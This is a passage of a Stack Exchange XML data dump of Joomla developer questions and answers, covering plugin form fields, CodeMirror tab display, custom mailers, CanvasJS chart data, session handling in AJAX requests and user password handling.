&amp;lt;fieldset name=&amp;quot;params&amp;quot; label=&amp;quot;PLG_BFQUIZ_CATEXTRAS_FIELDSET_LABEL&amp;quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&amp;quot;cat_time&amp;quot;&#xA;                type=&amp;quot;integer&amp;quot;&#xA;                label=&amp;quot;PLG_BFQUIZ_CATEXTRAS_TIME&amp;quot;&#xA;            /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know I am doing some mistake but I am unable to point it out. Need help from Joomla Experts.&lt;/p&gt;&#xA;" OwnerUserId="8486" LastEditorUserId="8486" LastEditDate="2021-01-31T11:21:12.370" LastActivityDate="2021-01-31T14:24:46.533" Title="Adding extra field to joomla categories" Tags="|custom-field|form-fields-types|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28837" PostTypeId="2" ParentId="28836" CreationDate="2021-01-31T14:24:46.533" Score="1" Body="&lt;p&gt;There are many issues with your plugin. First, it doesn't follow the naming convention so your class doesn't get detected at all. See &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a Plugin for Joomla&lt;/a&gt; tutorial for an example of correct class naming.&lt;/p&gt;&#xA;&lt;p&gt;Assuming your component is using &lt;code&gt;com_categories&lt;/code&gt; to manage categories, the plugin is using &lt;code&gt;categories&lt;/code&gt; plugin group but it should be using &lt;code&gt;content&lt;/code&gt; group instead. The context check is also wrong, it should be using name of the form (&lt;code&gt;$form-&amp;gt;getName()&lt;/code&gt;) instead of current component from input (which would be &lt;code&gt;com_categories&lt;/code&gt;).&#xA;You probably also have a typo. In your post you refer to the form file as &lt;code&gt;catextras&lt;/code&gt; but in the code it's called &lt;code&gt;catxtras&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If your component does use &lt;code&gt;com_categories&lt;/code&gt; for categories and you want custom fields to be available at all times, you don't even need a plugin. Instead create &lt;code&gt;category.xml&lt;/code&gt; file in &lt;code&gt;administrator/components/com_[yourcomponent]/models/forms&lt;/code&gt; and it will be loaded automatically. If you need more control over the form, you can create a helper class &lt;code&gt;[yourcomponent]HelperCategory&lt;/code&gt; in &lt;code&gt;administrator/components/com_[yourcomponent]/helpers/category.php&lt;/code&gt; with &lt;code&gt;onPrepareForm()&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-01-31T14:24:46.533" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28838" PostTypeId="2" ParentId="28835" CreationDate="2021-01-31T22:09:39.580" Score="1" Body="&lt;p&gt;If you implement the code from &lt;a href=&quot;https://joomla.stackexchange.com/a/28830/12352&quot;&gt;my earlier code&lt;/a&gt;, then you only need to write a dynamic &lt;code&gt;$having&lt;/code&gt; array to generate the correct HAVING clause.  I must note that your current coding attempt is not stable/secure.  You are receiving user-supplied data from &lt;code&gt;$_POST&lt;/code&gt; and feeding it directly into your raw sql.  This means that there are no validating or sanitising steps to protect your application.&lt;/p&gt;&#xA;&lt;p&gt;Also, you have some typos to fix.  &lt;code&gt;qka1&lt;/code&gt; is a string that must be wrapped in quotes at &lt;code&gt;$qustioan1=qka1;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To avoid re-posting my previous answer, I'll only show how to build your &lt;code&gt;$having&lt;/code&gt; array.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$formId = 23;&#xA;$having = ['qka1' =&amp;gt; 'yes'];&#xA;&#xA;$input = Factory::getApplication()-&amp;gt;input;&#xA;$state = $input-&amp;gt;post('state', '', 'string');&#xA;if ($state) {&#xA;    $having['state'] = $state;&#xA;}&#xA;$city = $input-&amp;gt;post('city', '', 'string');&#xA;if ($city) {&#xA;    $having['city'] = $city;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;foreach()&lt;/code&gt; loop on the &lt;code&gt;$having&lt;/code&gt; array will correctly apply the chosen filters into your query.&lt;/p&gt;&#xA;&lt;p&gt;This gives you clean, professional, maintainable code without having to dig deeply into your query building block of code.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2021-01-31T22:09:39.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28839" PostTypeId="2" ParentId="12246" CreationDate="2021-02-01T13:13:56.533" Score="0" Body="&lt;p&gt;The following extension might help adding user field values to content: &lt;a href=&quot;https://extensions.joomla.org/extension/edition/user-field-values-in-articles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/edition/user-field-values-in-articles/&lt;/a&gt; .&lt;/p&gt;&#xA;&lt;p&gt;This extension basically allows you to add user field values to content in Joomla! via a editor button or using placeholders. Some custom field types I see are also supported.&lt;/p&gt;&#xA;" OwnerUserId="8948" LastActivityDate="2021-02-01T13:13:56.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28840" PostTypeId="1" CreationDate="2021-02-01T16:07:56.727" Score="0" ViewCount="841" Body="&lt;p&gt;I can't see whether the gaps at the beginning of new lines in Codemirror (in Joomla, in my case) are spaces or tabs.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to display them?&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="12352" LastEditDate="2021-02-01T21:09:27.113" LastActivityDate="2021-02-04T08:09:18.837" Title="Is there a way to show tabs and spaces in Codemirror?" Tags="|joomla-3.x|editor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28841" PostTypeId="2" ParentId="28840" CreationDate="2021-02-01T21:08:06.760" Score="0" Body="&lt;p&gt;If you are only differentiating between spaces and tabs, the most instant solution is probably to use your browser's Find tool.  On Chrome, this is Ctrl+F.  Type a space into the search box.  If the targeted whitespace character does not receive the yellow highlight, then it is a tab.  Try the technique here: &lt;a href=&quot;https://3v4l.org/MIF6B&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://3v4l.org/MIF6B&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also at your disposal is the Inspect dev tool, this is Ctrl+Shft+I.  Access the text in the element of the inspector and highlight the whitespace by click-dragging over it.  If it jumps more than one space, it's a tab.&lt;/p&gt;&#xA;&lt;p&gt;Another way is to copy all of your raw text, paste it into regex101.com, then write &lt;code&gt;\t&lt;/code&gt; into the pattern field.  It will highlight all of the tabs in the text.&lt;/p&gt;&#xA;&lt;p&gt;I am sure that there are more ways to do this, but these seem pretty easy to me.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-02-01T22:07:14.880" LastActivityDate="2021-02-01T22:07:14.880" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28842" PostTypeId="2" ParentId="28840" CreationDate="2021-02-02T12:58:55.873" Score="1" Body="&lt;p&gt;Tabs can be styled in CSS using &lt;code&gt;.cm-tab&lt;/code&gt; selector. See demo &lt;a href=&quot;https://codemirror.net/demo/visibletabs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codemirror.net/demo/visibletabs.html&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For other invisibles, you could use CodeMirror Show Invisibles addon &lt;a href=&quot;https://github.com/coderaiser/cm-show-invisibles&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/coderaiser/cm-show-invisibles&lt;/a&gt;. It can be integrated into Joomla! using a plugin which loads the script during &lt;code&gt;onCodeMirrorBeforeDisplay&lt;/code&gt; event:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or exit;&#xA;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgEditors_CodemirrorShowinvisibles extends CMSPlugin&#xA;{&#xA;    public function onCodeMirrorBeforeDisplay($displayData)&#xA;    {&#xA;        // Load the addon script.&#xA;        HTMLHelper::_('script', 'plg_editors_codemirror_showinvisibles/show-invisibles.js', ['relative' =&amp;gt; true]);&#xA;&#xA;        // Set the flag for showing invisibles.&#xA;        $displayData-&amp;gt;options-&amp;gt;showInvisibles = true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-02-04T08:09:18.837" LastActivityDate="2021-02-04T08:09:18.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28843" PostTypeId="2" ParentId="28711" CreationDate="2021-02-02T19:03:39.887" Score="0" Body="&lt;p&gt;Make sure your permissions are set accordingly to allow edit on custom fields.&lt;/p&gt;&#xA;" OwnerUserId="14879" LastActivityDate="2021-02-02T19:03:39.887" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28844" PostTypeId="1" CreationDate="2021-02-02T21:45:01.523" Score="0" ViewCount="48" Body="&lt;p&gt;I get the following error when trying to send data to the user.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The security token did not match. The request was aborted to prevent any security breach. Please try again.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I don't know what it can be caused by. Admin Tools uninstalled.&lt;/p&gt;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://drive.google.com/file/d/1Vyjs5MNUp5wuO7CtD71gs3aZJSr2SsAx/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;a video to demonstrate&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14881" LastEditorUserId="12352" LastEditDate="2021-02-02T23:37:44.170" LastActivityDate="2021-02-02T23:37:44.170" Title="Problem with &quot;Privacy &gt; Request &gt; Email Data Export&quot;" Tags="|joomla-3.x|administrator|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28846" PostTypeId="1" CreationDate="2021-02-03T13:12:42.210" Score="0" ViewCount="347" Body="&lt;p&gt;I have a problem with Joomla! and I don't know how to solve it.&lt;/p&gt;&#xA;&lt;p&gt;I have a lot of articles, about 1500. When I try to open multiple articles in order to edit them, I receive one of these errors on random articles:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Error You are not permitted to use that link to directly access that page (article_id).&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I close the tab and reopen the article it works fine.&lt;/p&gt;&#xA;&lt;p&gt;It's not about logout and log back in. In order to replicate the problem, try to open multiple articles one after the other (CTRL + Click). Not all articles, but some of the will throw this error.&lt;/p&gt;&#xA;&lt;p&gt;I don't know what might be the problem and it gets annoying.&lt;/p&gt;&#xA;" OwnerUserId="14884" LastActivityDate="2021-02-03T13:12:42.210" Title="Error You are not permitted to use that link to directly access that page" Tags="|joomla-3.x|error-handling|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28847" PostTypeId="1" CreationDate="2021-02-03T14:53:33.750" Score="1" ViewCount="42" Body="&lt;p&gt;I'm handling two websites a main one with a huge database and a secondary one, I want that when a user is created in the main one that it also creates it for the secondary one, I already connected the two databases and know how to handle all that, the issue is that Joomla requires the password of each user to be encrypted using the secret key in the configuration.php file. I know the plain password of each user, how would I go in order to encrypt them with php?&lt;/p&gt;&#xA;&lt;p&gt;Something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$password = '12345';&#xA;$secret_key = 'FoOb4r';&#xA;$new_password = encrypt($password, $secret_key);&#xA;// code to update 'password' in table_users to database with $new_password&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also, I'm messing around just with '_users' table, I suppose I should update '_user_usergroup_map' as well. Is there another table I should take a look at?&lt;/p&gt;&#xA;" OwnerUserId="13913" LastActivityDate="2021-02-03T14:53:33.750" Title="Want to dynamically create users via database, how do I encrypt password?" Tags="|php|mysql|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28850" PostTypeId="2" ParentId="28826" CreationDate="2021-02-04T07:15:58.833" Score="1" Body="&lt;p&gt;I'm not sure how reliable this is but it can be done by setting &lt;code&gt;Joomla\CMS\Factory::$mailer&lt;/code&gt; to an instance of your custom mailer. This should be done by a system plugin early in the request. The class should extend &lt;code&gt;Joomla\CMS\Mail\Mail&lt;/code&gt; and the instance should already be configured to use settings from global configuration.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or exit;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemCustommail extends CMSPlugin&#xA;{&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        // This check isn't necessary but it ensures mail is sent using only one mailer, whichever it may be. Add custom logic as needed.&#xA;        if (Factory::$mailer === null)&#xA;        {&#xA;            // Set the mailer.&#xA;            Factory::$mailer = $this-&amp;gt;createMailer();&#xA;        }&#xA;    }&#xA;    &#xA;    private function createMailer(): MyMail&#xA;    {&#xA;        // Load the custom class.&#xA;        JLoader::register('MyMail', __DIR__ . '/mymail.php');&#xA;&#xA;        // Instantiate the custom mailer.&#xA;        $mailer = new MyMail;&#xA;        &#xA;        // Configure the mailer here. See `Joomla\CMS\Factory::createMailer()` for an example.&#xA;        &#xA;        // Return the mailer instance.&#xA;        return $mailer;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Custom mailer class modified to send mail to specific address:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or exit;&#xA;&#xA;use Joomla\CMS\Mail\Mail;&#xA;&#xA;class MyMail extends Mail&#xA;{&#xA;    public function send()&#xA;    {&#xA;        // Clear recipient list.&#xA;        $this-&amp;gt;clearAddresses();&#xA;        &#xA;        // Add custom recipient.&#xA;        $this-&amp;gt;addRecipient($address, $name);&#xA;        &#xA;        return parent::send();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-02-21T21:02:04.600" LastActivityDate="2021-02-21T21:02:04.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28851" PostTypeId="2" ParentId="28831" CreationDate="2021-02-04T08:28:29.017" Score="1" Body="&lt;p&gt;To answer your question, add a fourth optional argument to your &lt;code&gt;onContentPrepare&lt;/code&gt; method. This will be the page number.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepare($context, $item, $params, $page = 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that page numbering starts at &lt;code&gt;0&lt;/code&gt; and sometimes first page can be &lt;code&gt;null&lt;/code&gt;. You would also need to account for &amp;quot;All Pages&amp;quot; page.&lt;/p&gt;&#xA;&lt;p&gt;However, after some testing, I think you don't really need this. Instead you could solve the issue by ordering your plugin after Content - Page Break plugin . This is because Page Break plugin does modify &lt;code&gt;$item-&amp;gt;text&lt;/code&gt; property to contain only the current page.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-02-04T08:28:29.017" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28852" PostTypeId="2" ParentId="28829" CreationDate="2021-02-04T14:54:09.957" Score="2" Body="&lt;p&gt;After much experimentation I'm pretty sure it's not possible to achieve this without Javascript, but I did manage it this way:&lt;/p&gt;&#xA;&lt;p&gt;I added this code to the menu's main php file (about line 53 in the default.php override):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    if ($item!=parent)&#xA;    {&#xA;        $class .= ' single';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in the template.js added this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    let single = [...document.querySelectorAll('li &amp;gt; a')];&#xA;    [].forEach.call(single, function(sg) {&#xA;    sg.setAttribute(&amp;quot;role&amp;quot;, &amp;quot;menuitem&amp;quot;);&#xA;    })&#xA;    let singleb = [...document.querySelectorAll('li.single &amp;gt; button &amp;gt; a')];&#xA;    [].forEach.call(singleb, function(sgb) {&#xA;    sgb.setAttribute(&amp;quot;role&amp;quot;, &amp;quot;menuitem&amp;quot;);&#xA;    })&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm using buttons in my navigation but if you're not you can leave out the second half of this code.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2021-02-04T14:54:09.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28853" PostTypeId="1" AcceptedAnswerId="28856" CreationDate="2021-02-04T17:41:50.303" Score="1" ViewCount="294" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db-&amp;gt;setQuery(&amp;quot;SELECT MartabehName, COUNT(MartabehCode) FROM `#__dimteacher` GROUP BY MartabehName&amp;quot;);&#xA;$countMartabehName = $db-&amp;gt;loadObjectList(); &#xA;&#xA;foreach($countMartabehName as $row) {&#xA;    foreach($row as $key =&amp;gt; $data) {&#xA;        echo $data.&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;;&#xA;    }&#xA;}&#xA;foreach($countMartabehName as $row) {&#xA;&#xA;$dataPoints = array(&#xA;    array(&amp;quot;label&amp;quot;=&amp;gt; $row-&amp;gt;MartabehName , &amp;quot;y&amp;quot;=&amp;gt; $row-&amp;gt;$key)&#xA;);&#xA;      }&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;    my chart code from https://canvasjs.com/&#xA;    .&#xA;    .&#xA;    ,&#xA;    .&#xA;    .&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script src=&amp;quot;https://canvasjs.com/assets/script/canvasjs.min.js&amp;quot;&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2snqu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2snqu.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I show &lt;strong&gt;all array&lt;/strong&gt; (datax1,.... datax4) in chart?&lt;/p&gt;&#xA;&lt;p&gt;It is only displaying the last array member in chart (datax4).&lt;/p&gt;&#xA;" OwnerUserId="14856" LastEditorUserId="14856" LastEditDate="2021-02-04T22:05:23.383" LastActivityDate="2021-02-05T21:07:13.320" Title="How to show multidimensional data in my CanvasJS chart?" Tags="|joomla-3.x|php|mysql|javascript|array|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28854" PostTypeId="2" ParentId="22011" CreationDate="2021-02-04T21:35:43.267" Score="0" Body="&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;setBase(JUri::base().'yourcustomurl/'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14888" LastActivityDate="2021-02-04T21:35:43.267" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28855" PostTypeId="2" ParentId="28853" CreationDate="2021-02-04T22:09:54.760" Score="0" Body="&lt;p&gt;&lt;strong&gt;solved&lt;/strong&gt;&#xA;by changing&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach($countMartabehName as $row) {&#xA;    $dataPoints = array(&#xA;        array(&amp;quot;label&amp;quot;=&amp;gt; $row-&amp;gt;MartabehName , &amp;quot;y&amp;quot;=&amp;gt; $row-&amp;gt;$key)&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$dataPoints = array();&#xA;foreach($countMartabehName as $row){&#xA;    array_push($dataPoints, array(&amp;quot;label&amp;quot;=&amp;gt; $row-&amp;gt;MartabehName , &amp;quot;y&amp;quot;=&amp;gt; $row-&amp;gt;$key));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;it is &lt;strong&gt;not need&lt;/strong&gt; when we use &lt;strong&gt;@mickmackusa&lt;/strong&gt; cods in first answer&lt;/p&gt;&#xA;" OwnerUserId="14856" LastEditorUserId="14856" LastEditDate="2021-02-05T21:07:13.320" LastActivityDate="2021-02-05T21:07:13.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28856" PostTypeId="2" ParentId="28853" CreationDate="2021-02-05T01:51:38.400" Score="3" Body="&lt;p&gt;Your original coding attempt is repeatedly overwriting the &lt;code&gt;$dataPoints&lt;/code&gt; variable inside of the loop -- this is why you only see the last iteration's data.&lt;/p&gt;&#xA;&lt;p&gt;To create the desired multidimensional array directly from the query's result set, here is the way to use column aliases and Joomla's query building syntax.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&amp;quot;MartabehName AS label, COUNT(MartabehName) AS y&amp;quot;)&#xA;    -&amp;gt;from(&amp;quot;#__dimteacher&amp;quot;)&#xA;    -&amp;gt;group(&amp;quot;MartabehName&amp;quot;);&#xA;// echo $query-&amp;gt;dump();&#xA;$db-&amp;gt;setQuery($query);&#xA;$dataPoints = $db-&amp;gt;loadAssocList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now your &lt;code&gt;$dataPoints&lt;/code&gt; variable is instantly ready to deliver to CanvasJS without any manual looping/preparation.&lt;/p&gt;&#xA;&lt;p&gt;See the result set building method &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#loadAssocList.28.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;loadAssocList() in the Joomla docs&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can even ORDER BY if you like: &lt;a href=&quot;https://joomla.stackexchange.com/a/23704/12352&quot;&gt;https://joomla.stackexchange.com/a/23704/12352&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As for how you pass your result set to CanvasJS, I don't use CanvasJS, but I'd be very likely to use json instead of feeding it an html table.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;let chart = new CanvasJS.Chart(&amp;quot;chartContainer&amp;quot;, {&#xA;    data: [&#xA;      {&#xA;        dataPoints: &amp;lt;?php echo json_encode($dataPoints, JSON_NUMERIC_CHECK); ?&amp;gt;&#xA;      }&#xA;    ]&#xA;});&#xA;&#xA;chart.render();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-02-05T20:40:38.300" LastActivityDate="2021-02-05T20:40:38.300" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28857" PostTypeId="2" ParentId="24157" CreationDate="2021-02-05T13:08:10.217" Score="1" Body="&lt;p&gt;The current Joomla package manifest has the ability to block child uninstalls so only the full package can be uninstalled, not individual components. Use the following in your package manifest:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;blockChildUninstall&amp;gt;true&amp;lt;/blockChildUninstall&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14889" LastActivityDate="2021-02-05T13:08:10.217" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28858" PostTypeId="2" ParentId="28826" CreationDate="2021-02-05T13:14:28.800" Score="1" Body="&lt;p&gt;You could use this extension: &lt;a href=&quot;https://extensions.joomla.org/extension/jmail-queue/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/jmail-queue/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And then simply view the emails in the queue. Or add the onInjection plugin to remove all the recipients and substitute the one you want.&lt;/p&gt;&#xA;" OwnerUserId="14890" LastActivityDate="2021-02-05T13:14:28.800" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28860" PostTypeId="1" CreationDate="2021-02-06T22:05:58.180" Score="0" ViewCount="149" Body="&lt;p&gt;From JavaScript loaded via a static HTML5 file [loaded from a Joomla page element's onClick event and window.open()], does an AJAX request to a PHP script inherit the session context such that JFactory::getUser() returns the currently logged-in user?&lt;/p&gt;&#xA;" OwnerUserId="4064" LastActivityDate="2023-10-12T00:07:35.867" Title="Does an AJAX request to a PHP script inherit session context" Tags="|javascript|user|ajax|session|jfactory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28861" PostTypeId="2" ParentId="28860" CreationDate="2021-02-07T05:05:15.997" Score="1" Body="&lt;p&gt;Short answer is yes.&lt;/p&gt;&#xA;&lt;p&gt;From the browser side, any request, ajax or otherwise, will, by default, include the cookies &lt;strong&gt;for that domain&lt;/strong&gt;. The window, the javascript, the onclick event, the staticness of the html, are irrelevant.&lt;/p&gt;&#xA;&lt;p&gt;From the server side, the session cookie will be processed by the session handler if the joomla application is loaded.&lt;/p&gt;&#xA;&lt;p&gt;There are exceptions to both of the above but usually you have to do some work to stop the session from working normally.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2021-02-07T05:05:15.997" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28862" PostTypeId="1" AcceptedAnswerId="28865" CreationDate="2021-02-09T12:38:28.293" Score="0" ViewCount="75" Body="&lt;p&gt;I'm working on &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/30816&quot; rel=&quot;nofollow noreferrer&quot;&gt;namespaced templates feature&lt;/a&gt; and I came to the point where I need to check if an extension is namespaced or not.&lt;/p&gt;&#xA;&lt;p&gt;One possibility would be to load the &lt;code&gt;templateDetails.xml&lt;/code&gt; file and check manually. I only wonder if there is anything in the Joomla namespace libraries that saves the day.&lt;/p&gt;&#xA;&lt;p&gt;I also appreciate any suggestion/reply.&lt;/p&gt;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2021-02-14T09:01:27.417" Title="How to check an extension is namespaced?" Tags="|templates|extensions|joomla-4.x|namespace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28863" PostTypeId="1" AcceptedAnswerId="28864" CreationDate="2021-02-09T15:26:44.503" Score="0" ViewCount="39" Body="&lt;p&gt;For learning purpose, I am trying to read the definition of class JTable. But I couldn't find where this class is defined, although I see lots of reference to this class in some components' code, for example&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class componentTable extends JTable{&#xA;    ....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can someone tell me where this class is?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2021-02-09T15:50:04.450" Title="where is JTable defined?" Tags="|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28864" PostTypeId="2" ParentId="28863" CreationDate="2021-02-09T15:50:04.450" Score="1" Body="&lt;p&gt;&lt;code&gt;JTable&lt;/code&gt; is an alias to &lt;code&gt;Joomla\CMS\Table\Table&lt;/code&gt; class defined in &lt;code&gt;libraries/src/Table/Table.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-02-09T15:50:04.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28865" PostTypeId="2" ParentId="28862" CreationDate="2021-02-10T18:54:36.477" Score="0" Body="&lt;p&gt;The only thing I could think of is just to check the XML file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$templatesPath = ((int) $this-&amp;gt;template-&amp;gt;client_id === 1 ? JPATH_ADMINISTRATOR : JPATH_SITE) . '/templates/';&#xA;$templateDetails = $templatesPath . $this-&amp;gt;template-&amp;gt;name . '/templateDetails.xml';&#xA;$templateXML = simplexml_load_file($templateDetails);&#xA;&#xA;if ($templateXML-&amp;gt;namespace === null || (string) $templateXML-&amp;gt;namespace === '') {&#xA;  // do something with non-namespaced template&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Till other solution comes up, this is the only thing I got it working.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2021-02-14T09:01:27.417" LastActivityDate="2021-02-14T09:01:27.417" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28866" PostTypeId="1" CreationDate="2021-02-11T18:38:14.820" Score="0" ViewCount="35" Body="&lt;p&gt;I seek for advise how to modify the joomla login to set a validity period on the date for the password and make obligation for the (end)user  to reset the password with a new (safe) value; and how can a safe password be obliged&lt;/p&gt;&#xA;" OwnerUserId="14906" LastActivityDate="2021-02-11T18:38:14.820" Title="modify joomla login with password validity period" Tags="|joomla-3.x|login|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
